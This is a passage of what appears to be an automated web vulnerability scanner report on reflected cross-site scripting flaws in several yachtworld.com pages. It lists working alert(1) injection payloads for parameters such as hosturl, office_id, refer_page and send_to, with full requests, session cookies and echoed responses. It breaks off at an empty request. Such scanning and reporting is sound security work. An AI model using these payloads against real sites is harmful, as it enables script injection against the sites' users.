Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /clarkslanding/clarkslanding_3.cgi?company=clarkslanding&limit=50&type=&new=New&units=Feet&hosturl=clarkslandingb927f--><script>alert(1)</script>be89640f230&page=broker HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response (redirected)
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:49:14 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
The value of the hosturl request parameter is copied into the HTML document as plain text between tags. The payload f0dcc<script>alert(1)</script>32c656a0486 was submitted in the hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /clarkslanding/clarkslanding_3.cgi?company=clarkslanding&limit=50&type=&new=New&units=Feet&hosturl=clarkslandingf0dcc<script>alert(1)</script>32c656a0486&page=broker HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response (redirected)
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:49:12 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- /opt/weblogic/waeyw/ywcluster/public_html/broker_pages/clarkslandingf0dcc< ...[SNIP]... </script>32c656a0486/boats.footer.html:--> Exception while reading the file:/opt/weblogic/waeyw/ywcluster/public_html/broker_pages/clarkslandingf0dcc<script>alert(1)</script>32c656a0486/boats.header.html exception is java.io.FileNotFoundException: /opt/weblogic/waeyw/ywcluster/public_html/broker_pages/clarkslandingf0dcc<script> ...[SNIP]...
The value of the office_id request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1da5c"><script>alert(1)</script>6bb10187a64 was submitted in the office_id parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /clarkslanding/email.cgi?url=clarkslanding&office_id=175801da5c"><script>alert(1)</script>6bb10187a64&boat_id=1810383&hosturl=clarkslanding&&ywo=clarkslanding&&includeNav=true HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 23:04:31 GMT Server: Apache Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=ISO-8859-1
<!-- this file is generated automatically --> <!-- any changes you make will be written over --> <html> <head> <TITLE>Clarks Landing Boat & Yacht Sales (Point Pleasant, NJ)</TITLE> <META name ...[SNIP]... <INPUT TYPE="hidden" NAME="office_id" VALUE="175801da5c"><script>alert(1)</script>6bb10187a64"> ...[SNIP]...
The value of the 11.4-Build-105&locale request parameter is copied into the HTML document as plain text between tags. The payload 3414f<script>alert(1)</script>5c769db9ffb was submitted in the 11.4-Build-105&locale parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:39:05 GMT Server: Apache Cache-Control: private, max-age=31536000 Expires: Fri, 27 Jan 2012 19:39:05 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/css Content-Length: 83369
/*********** FROM STYLESHEET HOME *********/ bod ...[SNIP]... <br>/cached/includes/css/stylesheet-us3414f<script>alert(1)</script>5c769db9ffb.css<br> ...[SNIP]...
The value of the refer_page request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3fef8"><script>alert(1)</script>6eb461135ab was submitted in the refer_page parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/globalnav/emailForm.jsp?send_to=tech&refer_page=/core/globalnav/contactUs.jsp3fef8"><script>alert(1)</script>6eb461135ab HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:34:55 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the send_to request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f1854"><script>alert(1)</script>6b27e78a154 was submitted in the send_to parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/globalnav/emailForm.jsp?send_to=techf1854"><script>alert(1)</script>6b27e78a154&refer_page=/core/globalnav/contactUs.jsp HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:34:54 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the No request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6e275'%3balert(1)//80e3cac22f8 was submitted in the No parameter. This input was echoed as 6e275';alert(1)//80e3cac22f8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
